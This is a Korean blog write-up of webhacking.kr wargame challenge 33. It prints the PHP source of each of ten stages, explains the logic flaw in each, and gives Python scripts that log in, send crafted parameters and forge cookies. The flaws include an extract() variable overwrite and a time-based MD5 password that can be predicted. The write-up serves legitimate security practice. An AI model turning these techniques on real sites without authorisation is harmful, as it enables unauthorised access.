처음 소스는 다음과 같다.
<hr>
Challenge 33-1<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
<?
if($_GET[get]=="hehe")
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>
$_SERVER[PHP_SELF]는 실행되고 있는 파일의 경로를 의미한다.
$_GET[get]="hehe"이 되어야 하므로
?get=hehe를 URL로 준다!
<hr>
Challenge 33-2<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
<?
if($_POST[post]=="hehe" && $_POST[post2]=="hehe2")
{
echo("<a href=##>Next</a>");
}
else
{
echo("Wrong");
}
?>
스크립트를 짠 후, post인자로 post:hehe, post2:hehe2를 주고 쿼리를 날린다!
# -*- coding: utf-8 -*-
import requests
def main():
ID=raw_input("id: ")
PW=raw_input("pw: ")
cookie=login(ID,PW)
print(cookie)
form={'post':"hehe",'post2':"hehe2"}
#post 로 로그인
try:
#쿼리를 날린다.
result=requests.post('http://webhacking.kr/challenge/bonus/bonus-6/lv2.php',data=form,cookies=cookie)
print("쿼리 전송 !")
except:
print("Error !")
exit()
print("Complete!")
print(result.text)
def login(ID, PW):
form={'id':ID,'pw':PW}
print(form)
#post 로 로그인
result=requests.post('http://webhacking.kr?enter=1',data=form)
# print(result.text)
#로그인 실패 시에 나오는 특정 문자열을 검색
if(result.text.find("===========================================")!=-1):
print("Login Fail!")
exit()
#로그인 성공 시 cookies를 반환
else:
print(result.headers.get('set-cookie'))
cookie=result.headers.get('set-cookie')
print('id : '+form['id']+'\tLogin Success !');
max=cookie.index('=',0)
max2=cookie.index(';',max+1)
# 세션 이름 : 세션값의 형태로 cookies에 저장
cookies={cookie[0:max]:cookie[max+1:max2]}
print(cookies)
return cookies
if(__name__=="__main__"):
main()
<hr>
Challenge 33-2<br>
<script>document.write("<a href=http://webhacking.kr/challenge/bonus/bonus-6/lv2.phps>/challenge/bonus/bonus-6/lv2.phps</a>");</script>
<hr>
<a href=33.php>Next</a>
<hr>
Challenge 33-3<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
<?
if($_GET[myip]==$_SERVER[REMOTE_ADDR])
{
echo("<a href=##.php>Next</a>");
}
else
{
echo("Wrong");
}
?>
$_SERVER[REMOTE_ADDR]=사용자가 현재 페이지를 보고 있는 시스템의 IP 주소
121.139.96.245
<hr>
Challenge 33-4<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
<?
if($_GET[password]==md5(time()))
{
echo("<a href=###>Next</a>");
}
else
{
echo("hint : ".time());
}
?>
# -*- coding: utf-8 -*-
import requests
import hashlib
m=hashlib.md5()
def main():
ID=raw_input("id: ")
PW=raw_input("pw: ")
cookie=login(ID,PW)
print(cookie)
query1='http://webhacking.kr/challenge/bonus/bonus-6/l4.php'
try:
#쿼리를 날린다.
result=requests.get(query1, cookies=cookie)
print("쿼리 전송 !")
except:
print("Error !")
exit()
print(result.text)
max=result.text.index('hint : ',0)
a=result.text[max+7:max+17]
a=str(int(a)+3)
print(a)
a=hashlib.md5(a).hexdigest()
print(a)
for i in range(1,10):
query2='http://webhacking.kr/challenge/bonus/bonus-6/l4.php?password={0}'.format(a)
result=requests.get(query2, cookies=cookie)
print(result.text)
print("Complete!")
def login(ID, PW):
form={'id':ID,'pw':PW}
print(form)
#post 로 로그인
result=requests.post('http://webhacking.kr?enter=1',data=form)
# print(result.text)
#로그인 실패 시에 나오는 특정 문자열을 검색
if(result.text.find("===========================================")!=-1):
print("Login Fail!")
exit()
#로그인 성공 시 cookies를 반환
else:
print(result.headers.get('set-cookie'))
cookie=result.headers.get('set-cookie')
print('id : '+form['id']+'\tLogin Success !');
max=cookie.index('=',0)
max2=cookie.index(';',max+1)
# 세션 이름 : 세션값의 형태로 cookies에 저장
cookies={cookie[0:max]:cookie[max+1:max2]}
return cookies
if(__name__=="__main__"):
main()
<hr>
Challenge 33-5<br><script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
<?
if($_GET[imget] && $_POST[impost] && $_COOKIE[imcookie])
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>
<hr>
Challenge 33-6<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
<?
if($_COOKIE[test]==md5("$_SERVER[REMOTE_ADDR]") && $_POST[kk]==md5("$_SERVER[HTTP_USER_AGENT]"))
{
echo("<a href=###>Next</a>");
}
else
{
echo("hint : $_SERVER[HTTP_USER_AGENT]");
}
?>
스크립트를 돌린 우분투 환경에서는 Mozila~~이 부분이 python-requests/2.18.4 였다!
# -*- coding: utf-8 -*-
import requests
import hashlib
m=hashlib.md5()
def main():
ID=raw_input("id: ")
PW=raw_input("pw: ")
cookie=login(ID,PW)
a='121.139.96.245'
b='python-requests/2.18.4'
a=hashlib.md5(a).hexdigest()
b=hashlib.md5(b).hexdigest()
cookie['test']=a
query='http://webhacking.kr/challenge/bonus/bonus-6/gpcc.php'
form={'kk':b}
result=requests.post(query, cookies=cookie,data=form)
print(result.text)
print("Complete!")
def login(ID, PW):
form={'id':ID,'pw':PW}
print(form)
#post 로 로그인
result=requests.post('http://webhacking.kr?enter=1',data=form)
# print(result.text)
#로그인 실패 시에 나오는 특정 문자열을 검색
if(result.text.find("===========================================")!=-1):
print("Login Fail!")
exit()
#로그인 성공 시 cookies를 반환
else:
print(result.headers.get('set-cookie'))
cookie=result.headers.get('set-cookie')
print('id : '+form['id']+'\tLogin Success !');
max=cookie.index('=',0)
max2=cookie.index(';',max+1)
# 세션 이름 : 세션값의 형태로 cookies에 저장
cookies={cookie[0:max]:cookie[max+1:max2]}
return cookies
if(__name__=="__main__"):
main()
<hr>
Challenge 33-7<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
<?
$_SERVER[REMOTE_ADDR]=str_replace(".","",$_SERVER[REMOTE_ADDR]);
if($_GET[$_SERVER[REMOTE_ADDR]]==$_SERVER[REMOTE_ADDR])
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong<br>".$_GET[$_SERVER[REMOTE_ADDR]]);
}
?>
아니, 이 뭔 어이없는 상황이
헷갈리게 해놓고 완전 간단한 것이었다.
지금 $_SERVER[REMOTE_ADDR]=121.139.96.245인데,
str_replace를 거치고 나면 12113996245가 된다.
$_GET[$_SERVER[REMOTE_ADDR]==$_SERVER[REMOTE_ADDR]이 되어야 하므로,
$_GET[12113996245]=12113996245가 되면 된다!
하...진짜 많다!!!
<hr>
Challenge 33-8<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
<?
extract($_GET);
if(!$_GET[addr]) $addr=$_SERVER[REMOTE_ADDR];
if($addr=="127.0.0.1")
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>
$_GET[addr]이 없을때만 $addr=$_SERVER[REMOTE_ADDR]이 되므로
$_GET[addr]이 존재하면 $addr을 원하는 값으로 바꿀 수 있다!
10번이면...끝나겠지....?ㅜㅜ
<hr>
Challenge 33-9<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
<?
for($i=97;$i<=122;$i=$i+2)
{
$ch=chr($i);
$answer.=$ch;
}
if($_GET[ans]==$answer)
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>
>>> for i in range(97,123,2):
a+=chr(i)
>>> a
'acegikmoqsuwy'
<hr>
Challenge 33-10<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
<?
$ip=$_SERVER[REMOTE_ADDR];
for($i=0;$i<=strlen($ip);$i++)
{
$ip=str_replace($i,ord($i),$ip);
}
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
@mkdir("answerip/$ip");
$answer=$ip*2;
$answer=$ip/2;
$answer=str_replace(".","",$answer);
$pw="###";
$f=fopen("answerip/$ip/$answer.$ip","w");
fwrite($f,"Password is $pw\n\nclear ip : $_SERVER[REMOTE_ADDR]");
fclose($f);
?>
이제 끝!
'웹 해킹 > webhacking.kr' 카테고리의 다른 글
webhacking.kr 42번 (0) | 2018.02.12 |
---|---|
webhacking.kr 36번 (0) | 2018.02.12 |
webhacking.kr 23번-XSS (0) | 2018.02.10 |
webhacking.kr 20번 (0) | 2018.02.10 |
webhacking.kr 47번 (0) | 2018.02.10 |